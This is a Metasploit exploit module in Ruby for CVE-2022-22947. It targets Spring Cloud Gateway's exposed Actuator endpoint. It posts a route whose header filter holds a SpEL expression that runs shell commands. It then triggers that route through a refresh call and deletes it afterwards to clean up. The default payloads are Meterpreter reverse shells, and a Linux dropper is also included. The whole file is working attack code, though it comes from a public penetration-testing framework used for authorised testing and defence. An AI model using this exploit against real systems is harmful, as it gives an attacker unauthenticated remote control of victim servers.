##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Spring Cloud Gateway Remote Code Execution',
        'Description' => %q{
          This module exploits an unauthenticated remote code execution vulnerability in Spring Cloud Gateway
          versions = 3.1.0 and 3.0.0 to 3.0.6. The vulnerability can be exploited when the Gateway Actuator
          endpoint is enabled, exposed and unsecured. An unauthenticated attacker can use SpEL
          expressions to execute code and take control of the victim machine.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Ayan Saha'
        ],
        'References' => [
          ['CVE', '2022-22947' ],
          ['URL', 'https://github.com/crowsec-edtech/CVE-2022-22947'],
          ['URL', 'https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/'],
          ['URL', 'https://tanzu.vmware.com/security/cve-2022-22947'],
          ['URL', 'https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published']
        ],
        'Platform' => 'linux',
        'Arch' => [ARCH_X64, ARCH_CMD],
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp',
                'RPORT' => 9000
              }
            }
          ],
          [
            'Linux (Dropper)',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X64],
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
              'Type' => :linux_dropper
            }
          ],
        ],
        'DisclosureDate' => '2022-01-26',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
        }
      )
    )
  end

  def run_command(cmd)
    route_name = Rex::Text.rand_text_alpha(8).downcase
    uri = "/actuator/gateway/routes/#{route_name}"
    value = '#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh","-c", "' + cmd + '"}).getInputStream()))}'

    data = {
      'id' => route_name,
      'filters' => [
        {
          'name' => 'AddResponseHeader',
          'args' =>
            {
              'name' => 'Result',
              'value' => value
            }
        }
      ],
      'uri' => "http://#{Rex::Text.rand_text_alphanumeric(6..15)}.com"
    }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri),
      'ctype' => 'application/json',
      'data' => JSON.generate(data)
    })

    if res && res.code == 201 && res.message == 'Created'
      return route_name
    else
      return nil
    end
  end

  ## Takes in the command and creates a new route with it on the server
  def execute_command(cmd, _opts = {})
    route_name = run_command(cmd)
    if route_name
      refresh
      cleanup_route(route_name)
    else
      return false
    end
    return true
  end

  ## Cleaning up the routes created
  def cleanup_route(route_name)
    uri = "/actuator/gateway/routes/#{route_name}"
    res = send_request_cgi({
      'method' => 'DELETE',
      'uri' => normalize_uri(uri)
    })

    if res && res.code == 200
      print_good('Route deleted')
      return true
    else
      print_error("Couldn't delete route. Might require manual cleanup.")
      return false
    end
  end

  def check
    print_status('Checking if server is vulnerable')
    res = execute_command('whoami')

    if res
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end

  ## Refresh the gateway to trigger the routes with commands created
  def refresh
    print_status('Triggering code execution using routes')
    uri = '/actuator/gateway/refresh'

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri)
    })
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

end
